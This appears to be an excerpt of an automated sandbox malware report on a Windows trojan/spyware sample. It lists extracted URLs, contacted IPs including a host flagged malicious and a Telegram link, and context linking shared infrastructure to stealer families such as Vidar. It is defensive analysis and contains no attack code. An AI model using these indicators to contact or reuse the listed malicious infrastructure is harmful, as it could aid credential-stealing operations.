https://t.me/m08mbkL6	Cet.com, 0000000D.00000002.3218524142.0000000003AC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000013.00000003.2596138711.000051280100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674337011.00005128009DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674495716.0000512800A13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/	chrome.exe, 00000013.00000002.2674582089.0000512800A1C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore(Q	chrome.exe, 00000013.00000002.2672964589.0000512800698000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000013.00000003.2598841114.000051280120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598730491.0000512801178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598144787.00005128003A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369)	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/tips/	chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674209306.000051280098C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673879784.0000512800884000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2	chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614003341.0000512801470000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/255411748	chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000013.00000002.2672175138.00005128004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673709279.000051280080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673737608.000051280081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2679995204.00005128010F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 00000013.00000002.2676802503.0000512800C70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674139956.0000512800940000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000013.00000003.2587746858.00005128004B4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000002.2823509182.000068B00016C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/mathjax/	offscreendocument_main.js.24.dr, service_worker_bin_prod.js.24.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.24.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	m7yuk6.13.dr	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000013.00000003.2597110472.0000512801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598841114.000051280120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596934281.0000512800F68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598730491.0000512801178000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2597495418.0000512800F58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596631082.0000512800F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598144787.00005128003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2597535079.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672061734.00005128004B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596852577.000051280107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2671468721.00005128002EB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2596895712.00005128010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2597461988.0000512800488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2597687481.0000512800FB0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreh	msedge.exe, 00000016.00000002.2823509182.000068B00016C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000013.00000002.2676755492.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598093770.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614694283.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2593520243.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2616787424.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2639070022.0000512800C54000.00000004.00000800.00020000.00000000.sdmp	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.24.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Cet.com, 0000000D.00000002.3218939111.0000000003BBE000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.000000000585A000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr, Web Data.24.dr, 8y5fk6.13.dr	false		high
http://www.autoitscript.com/autoit3/X	Cet.com, 0000000D.00000000.2156722447.00000000003B5000.00000002.00000001.01000000.00000007.sdmp, Fisheries.9.dr	false		high
https://chrome.google.com/webstore?hl=en3	chrome.exe, 00000013.00000002.2677392505.0000512800D6C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Cet.com, 0000000D.00000002.3218939111.0000000003BBE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672021493.0000512800498000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.24.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json.24.dr	false		high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000013.00000002.2676802503.0000512800C70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en%y(Q	chrome.exe, 00000013.00000002.2672964589.0000512800698000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000013.00000002.2679688676.0000512801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672246325.000051280050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000013.00000002.2679057167.0000512800F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673651601.00005128007D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672283894.0000512800524000.00000004.00000800.00020000.00000000.sdmp	false		high
https://plus.google.com	chromecache_310.21.dr	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.25.dr	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000013.00000002.2679688676.0000512801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672246325.000051280050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	chrome.exe, 00000013.00000002.2670963845.000051280017C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000002.2823509182.000068B00016C000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.24.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.24.dr	false		high
https://msn.comXIDv10	Cookies.25.dr	false		high
https://chrome.google.com/webstore/	manifest.json0.24.dr	false		high
https://clients4.google.com/chrome-sync	chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=bQ(	chrome.exe, 00000013.00000002.2674170509.0000512800960000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000016.00000003.2718531464.000068B00026C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/J	chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000013.00000002.2671581394.0000512800310000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.174	play.google.com	United States	15169	GOOGLEUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.219.82.73	unknown	United States	20940	AKAMAI-ASN1EU	false
116.202.5.153	getyour.cyou	Germany	24940	HETZNER-ASDE	true
150.171.28.10	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.74.129.1	c-msn-pme.trafficmanager.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
108.139.47.108	unknown	United States	16509	AMAZON-02US	false
23.209.72.13	unknown	United States	20940	AKAMAI-ASN1EU	false
2.23.209.20	e28578.d.akamaiedge.net	European Union	1273	CWVodafoneGroupPLCEU	false
172.217.16.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
142.250.185.238	plus.l.google.com	United States	15169	GOOGLEUS	false
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
2.19.126.152	a416.dscd.akamai.net	European Union	16625	AKAMAI-ASUS	false
204.79.197.203	a-0003.a-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.44.10.122	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1604526
Start date and time:	2025-02-01 16:52:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1l1ohfybAf.exe renamed because original name is a hash value
Original Sample Name:	8a371d33f7b7305f15ac97f331b13ee3.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@97/299@29/24
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 80 Number of non-executed functions: 303
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.77.188, 199.232.214.172, 172.217.16.142, 142.250.185.163, 142.251.168.84, 172.217.16.206, 142.250.186.46, 216.58.206.67, 142.250.185.106, 142.250.185.234, 142.250.186.138, 142.250.185.202, 142.250.184.234, 142.250.74.202, 142.250.184.202, 216.58.212.170, 172.217.16.202, 142.250.185.170, 142.250.186.170, 142.250.181.234, 142.250.185.138, 142.250.186.106, 142.250.186.74, 142.250.186.42, 172.217.18.14, 142.250.185.74, 216.58.206.42, 216.58.212.138, 216.58.206.74, 172.217.23.106, 172.217.18.10, 13.107.42.16, 204.79.197.239, 13.107.21.239, 216.58.206.46, 13.107.6.158, 51.137.3.145, 88.221.110.195, 88.221.110.179, 2.21.65.154, 2.21.65.132, 48.209.144.71, 2.19.11.109, 2.19.11.113, 142.250.65.195, 142.250.72.99, 13.107.253.45, 4.245.163.56, 2.19.106.160, 94.245.104.56, 40.126.31.3, 23.200.0.34, 13.107.246.40, 104.117.182.56, 150.171.27.10
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, login.live.com, www.gstatic.com, l-0007.l-msedge.net, www.bing.com, prod-agic-we-2.westeurope.cloudapp.azure.com, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, prod-agic-ne-7.northeurope.cloudapp.azure.com, config.edge.skype.com.trafficmanager.net, redirector.gvt1.com, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:52:50	API Interceptor	1x Sleep call for process: 1l1ohfybAf.exe modified
10:52:55	API Interceptor	1x Sleep call for process: Cet.com modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.61.3	random.exe	Get hash	malicious	Vidar	Browse
	Rtgs-RUATT6761105.html	Get hash	malicious	Branchlock Obfuscator, SVG Dropper	Browse
	SoftWareGX.exe	Get hash	malicious	Vidar	Browse
	82.msi	Get hash	malicious	Unknown	Browse
	archifiltre-mails-win.msi	Get hash	malicious	HTMLPhisher	Browse
	kf-dcp-download-setup.exe	Get hash	malicious	Unknown	Browse
	pdfzonepro.msi	Get hash	malicious	Unknown	Browse
	random.exe	Get hash	malicious	Vidar	Browse
	el.msi	Get hash	malicious	Unknown	Browse
	Purchase_Agreement_1020036.pdf.lnk.bin.lnk	Get hash	malicious	Unknown	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
149.154.167.99	http://45.142.208.144.sslip.io/blog/	Get hash	malicious	Unknown	Browse	telegram.org/img/emoji/40/F09F9889.png
	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	http://wbhflznpgrvct.ink/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://xjklvmtdocqwz.top/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	http://rwymbkgnjdx.wang/	Get hash	malicious	Unknown	Browse	149.154.167.99
	random.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar	Browse	149.154.167.99
	http://lrlcailbfw.love/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://telegra.ph/MMB-Criminal-Appeals-1302025-01-30&umid=c8dd2dce-deba-486f-961e-16014151c38d&auth=a340f3495351dbd9653def2be270ac4e942ee812-d90c0e2c775f54301394285d24cf8e297c606a2a	Get hash	malicious	HTMLPhisher	Browse	149.154.167.99
	SoftWareGX.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	http://fqtwplhzqm.work/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	http://patetemhjy.link/	Get hash	malicious	Unknown	Browse	149.154.167.99
chrome.cloudflare-dns.com	random.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	Document-0191536.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	Rtgs-RUATT6761105.html	Get hash	malicious	Branchlock Obfuscator, SVG Dropper	Browse	172.64.41.3
	[EXTERNAL] FWD_ Billing statement SRG-4545-JJJHH- 29 January ,2025.eml	Get hash	malicious	Unknown	Browse	172.64.41.3
	SoftWareGX.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	82.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	archifiltre-mails-win.msi	Get hash	malicious	HTMLPhisher	Browse	162.159.61.3
	kf-dcp-download-setup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	random.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	el.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
a416.dscd.akamai.net	random.exe	Get hash	malicious	Vidar	Browse	2.19.11.120
